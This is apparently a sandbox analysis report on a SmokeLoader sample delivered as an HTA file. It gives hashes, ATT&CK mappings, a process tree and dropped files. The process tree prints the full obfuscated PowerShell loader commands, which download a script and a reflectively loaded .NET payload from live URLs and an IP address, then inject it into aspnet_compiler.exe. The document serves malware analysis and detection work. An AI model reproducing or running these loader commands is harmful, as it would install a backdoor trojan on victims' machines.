smokeloader | 35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5

Analysis

max time kernel
95s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-11-2024 17:36

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta
Size

178KB
MD5

05dcffe1d8e8e209a90b522192ad8000
SHA1

77c19b392d39bce4906b5c4e5f1ab0a0c9182dc7
SHA256

35717c891450767af251ec90a7c05ffd407d7b2d2897d96c176c51b5b8a156b5
SHA512

11eafd5f126bb4873ec7be1dc6fe7246f3de8324c413073bc914827695ed1db1bb9b6e870414c0d4aba990a6a817d6c029f7aa02e5061434dcdb965a378b5734
SSDEEP

48:4vahW5oZz7eWLB2ZfywyQhhY1ywyQbD6ngS5RJCS0d399Dd5nCYmIYZAjo3ueufc:4vCl17ZtQjtQhVFlfnnCO4AjovtQX5Q

Score

10^/10

smokeloader backdoor defense_evasion discovery execution trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Smokeloader family
smokeloader
Blocklisted process makes network request 3 IoCs

Processes:

PoWERsHeLl.EXepowershell.exe

flow pid process

14 1248 PoWERsHeLl.EXe
18 432 powershell.exe
29 432 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2696 powershell.exe
432 powershell.exe
Evasion via Device Credential Deployment 2 IoCs
defense_evasion execution

Processes:

PoWERsHeLl.EXepowershell.exe

pid process

1248 PoWERsHeLl.EXe
4216 powershell.exe

flow	pid	process
14	1248	PoWERsHeLl.EXe
18	432	powershell.exe
29	432	powershell.exe

pid	process
2696	powershell.exe
432	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mshta.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 432 set thread context of 2816 432 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 432 set thread context of 2816	432	powershell.exe	aspnet_compiler.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

powershell.exepowershell.exemshta.exePoWERsHeLl.EXepowershell.execsc.execvtres.exeWScript.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PoWERsHeLl.EXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

aspnet_compiler.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

PoWERsHeLl.EXepowershell.exepowershell.exepowershell.exe

pid	process
1248	PoWERsHeLl.EXe
1248	PoWERsHeLl.EXe
4216	powershell.exe
4216	powershell.exe
2696	powershell.exe
2696	powershell.exe
432	powershell.exe
432	powershell.exe
432	powershell.exe
432	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

PoWERsHeLl.EXepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1248	PoWERsHeLl.EXe
Token: SeDebugPrivilege	4216	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	432	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

Processes:

mshta.exePoWERsHeLl.EXecsc.exeWScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1296 wrote to memory of 1248	1296	mshta.exe	PoWERsHeLl.EXe
PID 1296 wrote to memory of 1248	1296	mshta.exe	PoWERsHeLl.EXe
PID 1296 wrote to memory of 1248	1296	mshta.exe	PoWERsHeLl.EXe
PID 1248 wrote to memory of 4216	1248	PoWERsHeLl.EXe	powershell.exe
PID 1248 wrote to memory of 4216	1248	PoWERsHeLl.EXe	powershell.exe
PID 1248 wrote to memory of 4216	1248	PoWERsHeLl.EXe	powershell.exe
PID 1248 wrote to memory of 3704	1248	PoWERsHeLl.EXe	csc.exe
PID 1248 wrote to memory of 3704	1248	PoWERsHeLl.EXe	csc.exe
PID 1248 wrote to memory of 3704	1248	PoWERsHeLl.EXe	csc.exe
PID 3704 wrote to memory of 4688	3704	csc.exe	cvtres.exe
PID 3704 wrote to memory of 4688	3704	csc.exe	cvtres.exe
PID 3704 wrote to memory of 4688	3704	csc.exe	cvtres.exe
PID 1248 wrote to memory of 4644	1248	PoWERsHeLl.EXe	WScript.exe
PID 1248 wrote to memory of 4644	1248	PoWERsHeLl.EXe	WScript.exe
PID 1248 wrote to memory of 4644	1248	PoWERsHeLl.EXe	WScript.exe
PID 4644 wrote to memory of 2696	4644	WScript.exe	powershell.exe
PID 4644 wrote to memory of 2696	4644	WScript.exe	powershell.exe
PID 4644 wrote to memory of 2696	4644	WScript.exe	powershell.exe
PID 2696 wrote to memory of 432	2696	powershell.exe	powershell.exe
PID 2696 wrote to memory of 432	2696	powershell.exe	powershell.exe
PID 2696 wrote to memory of 432	2696	powershell.exe	powershell.exe
PID 432 wrote to memory of 4648	432	powershell.exe	aspnet_compiler.exe
PID 432 wrote to memory of 4648	432	powershell.exe	aspnet_compiler.exe
PID 432 wrote to memory of 4648	432	powershell.exe	aspnet_compiler.exe
PID 432 wrote to memory of 2816	432	powershell.exe	aspnet_compiler.exe
PID 432 wrote to memory of 2816	432	powershell.exe	aspnet_compiler.exe
PID 432 wrote to memory of 2816	432	powershell.exe	aspnet_compiler.exe
PID 432 wrote to memory of 2816	432	powershell.exe	aspnet_compiler.exe
PID 432 wrote to memory of 2816	432	powershell.exe	aspnet_compiler.exe
PID 432 wrote to memory of 2816	432	powershell.exe	aspnet_compiler.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1296
- C:\Windows\SysWOW64\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe
  "C:\Windows\SysTEM32\wiNdoWSPoWeRShElL\V1.0\PoWERsHeLl.EXe" "pOWersheLL -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe ; INvokE-EXPressiON($(INvOkE-ExpressiON('[SystEM.tExt.encoDinG]'+[char]0X3A+[char]58+'UTF8.GetsTRIng([SyStEm.cOnVeRT]'+[ChaR]0X3A+[chaR]58+'frombasE64StRIng('+[chaR]34+'JFhvY0VSN21mYWMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRELXRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbWVNYmVSZEVGaW5pVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNT04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbkhyTG8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamxXTWh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVEd1JCWENTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFFS3ZxKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZHpUayIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbHhzQnRTTVB2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYb2NFUjdtZmFjOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3Mi40NC4xNzgvNTMvc2VlbXliZXN0bmV0d29ya3doaWNoZ2l2ZWJlc3R0aGluZ3NlbnRpcmVsaWZld2l0aG1lLnRJRiIsIiRFTnY6QVBQREFUQVxzZWVteWJlc3RuZXR3b3Jrd2hpY2hnaXZlYmVzdHRoaW5nc2VudGlyZWxpZmV3aXRoLnZiUyIsMCwwKTtzVEFydC1zbEVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXHNlZW15YmVzdG5ldHdvcmt3aGljaGdpdmViZXN0dGhpbmdzZW50aXJlbGlmZXdpdGgudmJTIg=='+[chaR]0X22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1248
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex BYPaSs -nop -W 1 -c DeVIcECrEdenTiAldePlOYMEnT.exe
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4216
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fu4v3ven\fu4v3ven.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3704
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBC3B.tmp" "c:\Users\Admin\AppData\Local\Temp\fu4v3ven\CSCDCC299C630F1465FB8E990503488AF1.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4688
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4644
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdzZVlpbWFnZVUnKydybCA9IFB1SWh0JysndHBzJysnOicrJy8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbCcrJ2UvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3QnKydHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgUHVJO3NlWXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbGllbnQ7c2VZaW1hZ2VCeXRlcyA9IHNlWXdlYkNsaWVuJysndC5Eb3dubG9hZERhdGEoc2VZaW1hZ2VVcmwpO3NlWWltYWcnKydlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHNlWWltYWdlQnl0JysnZXMpO3NlWXN0YXJ0RmxhZyA9IFB1STw8QkFTRTY0XycrJ1NUQVJUPj5QdUk7c2VZZW5kRicrJ2xhZyA9IFB1SScrJzw8QkFTRTY0X0VORD4+UHVJO3NlWXN0YXJ0SW5kZXggPSBzZVlpbWFnZVRleHQuSW5kZXhPZignKydzZVlzdGFydEZsYWcpO3NlWWVuZCcrJ0luZGV4ID0gc2VZaW1hZ2VUZXh0LkluZGV4T2Yoc2VZZW5kRmxhZyk7cycrJ2VZc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHNlWWVuZEluZGV4IC1ndCBzZVlzdGFydEluZGV4O3MnKydlWXN0YXJ0SW5kZXggKz0gc2VZc3RhcnRGbGFnLkxlbmd0aDtzZVliYXNlNjRMZW5ndGggPSBzZVllbmRJbmRleCAtIHNlWXN0YXJ0SW5kZXg7c2VZYmFzZTY0Q29tbWFuZCA9JysnIHNlJysnWWltYWcnKydlVCcrJ2V4dC5TdWJzdHJpbmcoc2VZc3RhcnRJbmRleCwnKycgc2VZYmFzZTY0TGVuZ3RoKTtzZVliYXNlNjRSZXZlcnNlZCA9IC1qb2luIChzZVliYXNlNjRDb21tYW5kJysnLlRvQ2hhckFycmF5KCkgMnBPIEZvckUnKydhY2gtT2JqZWN0IHsgc2VZXyB9KVstMS4uLShzZVknKydiYXNlNjRDb21tYW5kLkxlbmd0aCldO3NlWScrJ2NvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQycrJ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJysnc2VZYmFzZTY0UmV2ZXJzZWQpO3NlWScrJ2xvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsJysnZWN0aW9uLkFzc2VtYmx5XScrJzo6TG9hZChzZVljb21tYW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2QuSW52bycrJ2tlKHNlWW51bGwsIEAoUHVJdHh0LlRHUkZGUlcvMzUvODcxLjQ0LjI3MS43MDEvLycrJzpwdHRoUHVJLCBQdUlkZXNhdGl2YWRvUHVJLCBQdUlkJysnZXNhdGl2YWRvUHVJLCBQdScrJ0lkZXNhdGl2YWRvUHVJLCBQdUlhc3BuZXRfY29tcGlsJysnZXJQdUksIFB1SWRlc2F0aXZhZG9QdUksICcrJ1B1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkbycrJ1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1SWRlc2F0aXZhZG9QdUksUHVJZGVzYXRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycpLnJFUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUl0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWICcqTWRyKicpLm5BbUVbMywxMSwyXS1qT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2696
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('seYimageU'+'rl = PuIht'+'tps'+':'+'//1017.filemail.com/api/fil'+'e/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f PuI;seYwebClient = New-Object System.Net.W'+'ebClient;seYimageBytes = seYwebClien'+'t.DownloadData(seYimageUrl);seYimag'+'eText = [System.Text.Encoding]::UTF8.GetString(seYimageByt'+'es);seYstartFlag = PuI<<BASE64_'+'START>>PuI;seYendF'+'lag = PuI'+'<<BASE64_END>>PuI;seYstartIndex = seYimageText.IndexOf('+'seYstartFlag);seYend'+'Index = seYimageText.IndexOf(seYendFlag);s'+'eYstartIndex -ge 0 -and seYendIndex -gt seYstartIndex;s'+'eYstartIndex += seYstartFlag.Length;seYbase64Length = seYendIndex - seYstartIndex;seYbase64Command ='+' se'+'Yimag'+'eT'+'ext.Substring(seYstartIndex,'+' seYbase64Length);seYbase64Reversed = -join (seYbase64Command'+'.ToCharArray() 2pO ForE'+'ach-Object { seY_ })[-1..-(seY'+'base64Command.Length)];seY'+'commandBytes = [System.C'+'onvert]::FromBase64String('+'seYbase64Reversed);seY'+'loadedAssembly = [System.Refl'+'ection.Assembly]'+'::Load(seYcommandBytes);seYvaiMethod = ['+'dnlib.IO.Home].GetMethod(PuIVAIPuI);seYvaiMe'+'thod.Invo'+'ke(seYnull, @(PuItxt.TGRFFRW/35/871.44.271.701//'+':ptthPuI, PuIdesativadoPuI, PuId'+'esativadoPuI, Pu'+'IdesativadoPuI, PuIaspnet_compil'+'erPuI, PuIdesativadoPuI, '+'PuIdesativadoPuI,PuIdesativado'+'PuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuIdesativadoPuI,PuI1PuI,PuIdesativadoPuI));').rEPlaCE('PuI',[StrInG][CHAR]39).rEPlaCE('2pO','|').rEPlaCE('seY','$')| . ((gV '*Mdr*').nAmE[3,11,2]-jOIN'')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:432
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:4648
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        Checks SCSI registry key(s)
        
        PID:2816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PoWERsHeLl.EXe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
be7717c61551e72cc74f137798c33637

SHA1
09aafa340bf2b310677a85ebf780f9fb3c3a9b0f

SHA256
cbe343be08fee7e1a999bbb5d46d8768a9da2b4944a72397be9e83a15f7f2b8f

SHA512
1b82e437d212eb0cab73e02dd3d35d1842d006ebc54f18f3df5195a1156ec1685f83126e564857fd19857c764b8de87c5d740dc24dbd652f93919633f0eee68a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
6f456a9bac4d8d75cbec0a39a3a9b1c0

SHA1
706b4423010ddde6eae1a9ea9daeaea04ff763d8

SHA256
883230cbac2380fabfa11ab854655d5ce944b3a8a01ded9a54232f7c57549b6e

SHA512
8ec5997a4637cb9d33051a99911d0877e21d537ee484e7639a0a95287696927405f056fa2a6b8e33d474abfb6f31dbc84fa6f0c0c2ada93999d4b7138e022661

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBC3B.tmp

Filesize
1KB

MD5
6c9b778d8ef69901278385c2d2a46ac4

SHA1
0fce9266d20c64d275c316c6c14e8291d315a88b

SHA256
362b796e707fa638445968dc43378bee32cbdb0d9876e3a5d5a991723faaa8da

SHA512
995dbfe786917f38d5de80e3fd63a2d2b527e5567e7f96ad0104742a2bfe30b5a0dae2e0bfc4348fd75ad47c0a73cb95ebe8d9390a98a7c2671f5f5f3833c815

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mwphavmq.u2n.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\fu4v3ven\fu4v3ven.dll

Filesize
3KB

MD5
e1fad2a63fed4967a5e0d176fc14641a

SHA1
e6628f5cec74afbccd1dcb3c6187e9a89b73d149

SHA256
413f21f2aa07c4410bdfa3f269b4b3cd1e16aece8c8e6d250e7a9167d26250e1

SHA512
694a1bae4673177ab5a91845ff0a6a585afd209f0e2154ba197c30ebc3446a226957369bf1bb57459b5a5d73e5073ba7ea096e4d04d36391fb15108d0a8bceef

Download Submit
C:\Users\Admin\AppData\Roaming\seemybestnetworkwhichgivebestthingsentirelifewith.vbS

Filesize
137KB

MD5
855d024750a1bc1bc078e60c05e506e3

SHA1
480c344ef4e060adb7ca7e159c815cb38ac87614

SHA256
560327e8e4c818547fe966c8704d97270986b7457d62a154219e81ed4afb4667

SHA512
64a68dd3c8750e7a90c95078dc1db87086c546212b56348e6d45f4444b5dd7e6725f3b5ddbc2c414d08a7df2fbf2eecd11b9ab414588ac7b66f57f70fbb85c94

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fu4v3ven\CSCDCC299C630F1465FB8E990503488AF1.TMP

Filesize
652B

MD5
76906681ad812813e495f078adb115ce

SHA1
01939856ccfe0b6a43087cb956c18c63e1362afd

SHA256
fd5d085e6c443f7ce26b90850b8e2c64fb07d2ed63fcce257aec4e00b671cf03

SHA512
631db03fd6e7bac98987b377d34c6b372d7d23b84f6ca7fa9040006cfa40fd77b26f032a6a564fa5670aa8b8650f38664cf3107b2fe983b2a5777333f7565cce

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fu4v3ven\fu4v3ven.0.cs

Filesize
472B

MD5
1a212b8a44924d84eeba108f2409b5e8

SHA1
b19066fab9c3329cd206958dacee65a08607586b

SHA256
977b687ccdcaea25b4afdd04dbac19bf12b31afad4ae226d7b7e5ed5cabcf073

SHA512
4d4bbada1880ce68ceeaff34a1d412350f715c0f5f741f7f47692549280dc92738881ce1fff7bbcd472610a63d99ded94ca713cc859b330a07d13df2313ea453

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\fu4v3ven\fu4v3ven.cmdline

Filesize
369B

MD5
bcc019f12ba3ecd8a954658a2c62fd85

SHA1
5e303f25cf416af6a77e8be2dbbbdb2b6d0c9e43

SHA256
a4fa2ac003cb78eb2872ecd406d1e47195e9ab658d7a087330be5f62137e269c

SHA512
ce106b8c6b9d107e482acac029e22ee6bb0017f6a746f1ef3278e2256568bdce21c7ccfaac54f54fcb9fcaee6e14b342c0dac80fc67851390a9ce7c02aaa735d

Download Submit
memory/432-101-0x0000000008020000-0x00000000080BC000-memory.dmp

Filesize
624KB

Download
memory/432-100-0x0000000007E20000-0x0000000007F78000-memory.dmp

Filesize
1.3MB

Download
memory/1248-65-0x0000000006580000-0x0000000006588000-memory.dmp

Filesize
32KB

Download
memory/1248-5-0x0000000005010000-0x0000000005032000-memory.dmp

Filesize
136KB

Download
memory/1248-1-0x0000000002690000-0x00000000026C6000-memory.dmp

Filesize
216KB

Download
memory/1248-2-0x0000000071000000-0x00000000717B0000-memory.dmp

Filesize
7.7MB

Download
memory/1248-3-0x0000000005120000-0x0000000005748000-memory.dmp

Filesize
6.2MB

Download
memory/1248-78-0x0000000071000000-0x00000000717B0000-memory.dmp

Filesize
7.7MB

Download
memory/1248-4-0x0000000071000000-0x00000000717B0000-memory.dmp

Filesize
7.7MB

Download
memory/1248-6-0x0000000005900000-0x0000000005966000-memory.dmp

Filesize
408KB

Download
memory/1248-72-0x0000000071000000-0x00000000717B0000-memory.dmp

Filesize
7.7MB

Download
memory/1248-71-0x000000007100E000-0x000000007100F000-memory.dmp

Filesize
4KB

Download
memory/1248-0-0x000000007100E000-0x000000007100F000-memory.dmp

Filesize
4KB

Download
memory/1248-7-0x0000000005970000-0x00000000059D6000-memory.dmp

Filesize
408KB

Download
memory/1248-17-0x0000000005AE0000-0x0000000005E34000-memory.dmp

Filesize
3.3MB

Download
memory/1248-18-0x0000000005F90000-0x0000000005FAE000-memory.dmp

Filesize
120KB

Download
memory/1248-19-0x0000000005FE0000-0x000000000602C000-memory.dmp

Filesize
304KB

Download
memory/2696-88-0x0000000005EB0000-0x0000000006204000-memory.dmp

Filesize
3.3MB

Download
memory/2816-102-0x0000000000400000-0x000000000040B000-memory.dmp

Filesize
44KB

Download
memory/4216-45-0x0000000007AD0000-0x0000000007B66000-memory.dmp

Filesize
600KB

Download
memory/4216-48-0x0000000007A90000-0x0000000007AA4000-memory.dmp

Filesize
80KB

Download
memory/4216-47-0x0000000007A80000-0x0000000007A8E000-memory.dmp

Filesize
56KB

Download
memory/4216-46-0x0000000007A50000-0x0000000007A61000-memory.dmp

Filesize
68KB

Download
memory/4216-29-0x00000000076F0000-0x0000000007722000-memory.dmp

Filesize
200KB

Download
memory/4216-30-0x000000006D8C0000-0x000000006D90C000-memory.dmp

Filesize
304KB

Download
memory/4216-44-0x00000000078C0000-0x00000000078CA000-memory.dmp

Filesize
40KB

Download
memory/4216-43-0x0000000007850000-0x000000000786A000-memory.dmp

Filesize
104KB

Download
memory/4216-49-0x0000000007B90000-0x0000000007BAA000-memory.dmp

Filesize
104KB

Download
memory/4216-42-0x0000000007E90000-0x000000000850A000-memory.dmp

Filesize
6.5MB

Download
memory/4216-41-0x0000000007730000-0x00000000077D3000-memory.dmp

Filesize
652KB

Download
memory/4216-50-0x0000000007B70000-0x0000000007B78000-memory.dmp

Filesize
32KB

Download
memory/4216-40-0x0000000006B10000-0x0000000006B2E000-memory.dmp

Filesize
120KB

Download